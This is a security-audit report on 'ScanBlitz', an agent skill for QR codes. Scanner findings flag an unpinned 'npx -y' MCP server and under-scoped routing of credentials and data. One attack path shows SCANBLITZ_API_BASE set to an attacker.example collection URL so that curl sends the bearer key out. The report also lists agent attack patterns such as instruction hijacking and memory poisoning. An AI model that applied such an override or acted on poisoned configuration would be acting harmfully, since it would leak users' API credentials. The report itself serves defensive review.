Scanblitz

• Outcome: Review
• Latest audit: Sep 16, 2026 · 8:20 AM UTC
• Version: 1.0.0

Overview

The skill is a coherent ScanBlitz QR-code integration, but it needs review because it documents unpinned MCP package execution and under-scoped credential/data routing.

Review before installing. Use the normal ScanBlitz curl workflow only with keys scoped to the needed account actions, avoid setting SCANBLITZ_API_BASE from untrusted project or prompt context, skip the unpinned npx MCP setup unless you have verified and pinned the package, and avoid the qrserver.com rendering path for sensitive or unreleased campaign links.

A.I.G

Vulnerability Patterns

• Insecure Dependencies: Introduces malicious components through unsafe dependency sources
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (2)

T08 · Insecure Dependencies

Warning

• Location: SKILL.md:82

Finding

Unpinned npm Package Is Downloaded and Executed Automatically

Content

View full analysis

Vulnerability Details

File Location: SKILL.md, lines 82–89
Vulnerability Type: Unpinned third-party dependency execution
Risk Level: Medium

json

{
  "mcpServers": {
    "scanblitz": {
      "command": "npx",
      "args": ["-y", "@scanblitz/mcp-server"],
      "env": { "SCANBLITZ_API_KEY": "sb_api_..." }
    }
  }
}

Technical Analysis

The optional MCP configuration invokes npx -y @scanblitz/mcp-server without pinning an exact package version or verifying package integrity. The -y option suppresses confirmation, allowing npm to download and execute the package automatically.

Because the effective program is retrieved from npm when the command runs, its contents can change after the Skill has been reviewed. Compromise of the package, its publisher account, or the upstream dependency chain could result in arbitrary code execution under the Agent user's account. The package would also be explicitly provided with SCANBLITZ_API_KEY.

This integration is not required for the primary curl-based ScanBlitz workflow, so automatically executing an unpinned package introduces avoidable supply-chain exposure.

Attack Path

1. An attacker compromises the @scanblitz/mcp-server package, its publisher account, or one of its install-time dependencies.
2. The attacker publishes a malicious version under the existing package name.
3. A user follows the documented MCP configuration.
4. npx -y retrieves the current package version without interactive review.
5. The malicious package executes with the permissions of the Agent user.
6. The package can read the supplied SCANBLITZ_API_KEY, access other user-readable files and environment variables, and initiate outbound network connections.

Impact Assessment

Successful exploitation provides arbitrary code execution with the privileges of the user running OpenClaw or the MCP server. Potential impact includes theft of the ScanBlitz AP ...[truncated 253 chars]

Remediation

View remediation

Remediation Suggestions

• Pin the MCP package to a specific, reviewed version rather than resolving the latest release:

  json

  "args": ["-y", "@scanblitz/mcp-server@1.2.3"]
  

• Use a lockfile and integrity verification where the deployment model supports them.
• Document the package publisher, source repository, review process, and expected integrity digest.
• Avoid -y for first-time installation so users can review what will be installed.
• Prefer installing the reviewed package in a controlled environment instead of downloading code on every invocation.
• Run the MCP server in a sandbox with restricted filesystem and network access.
• Provide only the minimum required environment variables to the subprocess.
• Rotate SCANBLITZ_API_KEY immediately if package compromise is suspected.

T09 · Insecure Skill Coding Practices

Warning

• Location: SKILL.md:94

Finding

API Base Override Can Redirect Bearer Credentials to an Untrusted Server

Content

View full analysis

Vulnerability Details

File Location: SKILL.md, lines 20–22, 94–99, and 116–120
Vulnerability Type: Unvalidated credential destination
Risk Level: Medium

yaml

- name: SCANBLITZ_API_BASE
  required: false
  description: Optional override for the API base URL. Defaults to https://scanblitz.com/api/enterprise for sb_api_ keys.

bash

SCANBLITZ_API_BASE="${SCANBLITZ_API_BASE:-https://scanblitz.com/api/enterprise}"
AUTH_HEADER="Authorization: Bearer $SCANBLITZ_API_KEY"

bash

curl -s -X POST "$SCANBLITZ_API_BASE/qr-codes" \
  -H "Content-Type: application/json" \
  -H "$AUTH_HEADER" \
  -H "$SOURCE_HEADER" \
  -d '{
    "name": "Product Launch",
    "destination_url": "https://example.com/launch"
  }'

Technical Analysis

SCANBLITZ_API_BASE can override the trusted ScanBlitz endpoint, but the documented command does not validate its scheme or hostname before attaching the Authorization: Bearer header. Consequently, a value inherited from a poisoned environment, unsafe configuration, or untrusted instruction can cause the ScanBlitz credential to be transmitted to an attacker-controlled origin.

Quoting the variable prevents shell command injection, but it does not prevent credential disclosure through an attacker-selected URL. Supporting a custom API endpoint may be useful for controlled testing, but forwarding a production bearer credential to any configured host exceeds the minimum privilege required for normal ScanBlitz operations.

Attack Path

1. An attacker influences the OpenClaw environment or configuration and sets:

   bash

   SCANBLITZ_API_BASE="https://attacker.example/collect"
   

2. The user asks the Agent to create, list, update, delete, or analyze a QR code.
3. The Agent follows the documented curl workflow.
4. Curl sends Authorization: Bearer $SCANBLITZ_API_KEY to the attacker-controlled host.
5. The attacker records the bearer to ...[truncated 682 chars]

Remediation

View remediation

Remediation Suggestions

• Allowlist the documented trusted HTTPS origins before attaching authentication headers:
  • https://scanblitz.com/api/enterprise
  • The explicitly documented ScanBlitz Supabase partner endpoint
• Reject non-HTTPS URLs, unexpected hostnames, embedded credentials, and malformed override values.
• Do not send a ScanBlitz production key to custom endpoints.
• If custom endpoints are required for development, require a separate credential explicitly scoped to that endpoint.
• Construct authentication headers only after successful endpoint validation.
• Clear authentication headers when curl follows redirects, or disable redirects unless they are required and the destination remains on an approved origin.
• Warn users that environment variables are security-sensitive configuration and should not be accepted from untrusted prompts or project files.
• Rotate the API key if it may have been sent to an unauthorized endpoint.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• Tool Misuse: Tool Parameter Abuse, Chaining Abuse, Unsafe Defaults
• Rogue Agent: Self-Modification, Session Persistence

Findings (9)

Credential Access

High

• Category: Privilege Escalation
• Confidence: 60% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 56)May include surrounding context.

bash

mkdir -p ~/.openclaw
printf '\nSCANBLITZ_API_KEY=%s\n' 'sb_api_your_key_here' >> ~/.openclaw/.env

If your installation uses a custom state directory, put it in $OPENCLAW_STATE_DIR/.env instead.

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 80% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 377)May include surrounding context.

md

| Get | `GET /qr-codes/:id` | `GET /:short_id` |
| Update | `PUT /qr-codes/:id` | `PUT /:short_id` |
| Analytics | `GET /qr-codes/:id/analytics` | `GET /analytics/:short_id` |
| Delete/deactivate | `DELETE /qr-codes/:id` or `PUT is_active:false` | `DELETE /:short_id` |
| Usage/health | `GET /usage` | `GET /health` |

## Security Notes

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 80% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 377)May include surrounding context.

md

| Get | `GET /qr-codes/:id` | `GET /:short_id` |
| Update | `PUT /qr-codes/:id` | `PUT /:short_id` |
| Analytics | `GET /qr-codes/:id/analytics` | `GET /analytics/:short_id` |
| Delete/deactivate | `DELETE /qr-codes/:id` or `PUT is_active:false` | `DELETE /:short_id` |
| Usage/health | `GET /usage` | `GET /health` |

## Security Notes

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 60% confidence

Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 3)May include surrounding context.

md

---
name: scanblitz
description: Create dynamic, trackable QR codes and inspect scan analytics with the ScanBlitz API. Use when a user wants QR codes whose destinations can change later, QR scan/click attribution, campaign QR links, or programmatic QR creation from an agent. Not for static offline-only QR images, barcode scanning, or decoding QR codes from images.
version: 1.0.0
license: MIT
metadata:

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 60% confidence

Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 14)May include surrounding context.

md

env:
        - SCANBLITZ_API_KEY
      bins:
        - curl
    primaryEnv: SCANBLITZ_API_KEY
    envVars:
      - name: SCANBLITZ_API_KEY

Description-Behavior Mismatch

Medium

• Category: Not specified by scanner
• Confidence: 90% confidence

Finding

The skill explicitly says it is not for static offline-only QR images, but later instructs users to generate printable QR images through a third-party service. This broadens the skill beyond its stated scope and can mislead operators into sending data to an unnecessary external service, increasing privacy and dependency risk.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium

• Category: Not specified by scanner
• Confidence: 91% confidence

Finding

The documentation introduces api.qrserver.com, an unrelated third-party QR rendering service, even though the skill's stated purpose is interacting with the ScanBlitz API. This creates an additional trust boundary and sends generated ScanBlitz tracking URLs to another external provider, which may log or misuse campaign links and metadata.

Content

No source excerpt is available for this finding.

External Transmission

Medium

• Category: Data Exfiltration
• Confidence: 93% confidence

Finding

The skill sends the generated ScanBlitz tracking URL to api.qrserver.com for rendering. Even if the API key is not transmitted, the tracking URL, campaign identifier, and associated metadata may be exposed to an unrelated third party, which is unnecessary for core ScanBlitz functionality and increases privacy and data leakage risk.

Content

Scanner excerpt · SKILL.md (reported line 339)May include surrounding context.

print(quote(os.environ["SCAN_URL"], safe="")) PY ) curl -fsSL "https://api.qrserver.com/v1/create-qr-code/?size=1024x1024&ecc=H&format=png&data=$ENCODED"
-o scanblitz-qr.png

text

Rp1

Medium

• Category: MCP Rug Pull
• Confidence: 95% confidence

Finding

The skill recommends running an MCP server via npx -y @scanblitz/mcp-server without pinning a version or integrity hash. That causes execution of whatever package version is current at runtime, creating a supply-chain risk where a compromised or malicious upstream package could gain access to the agent environment and SCANBLITZ_API_KEY.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.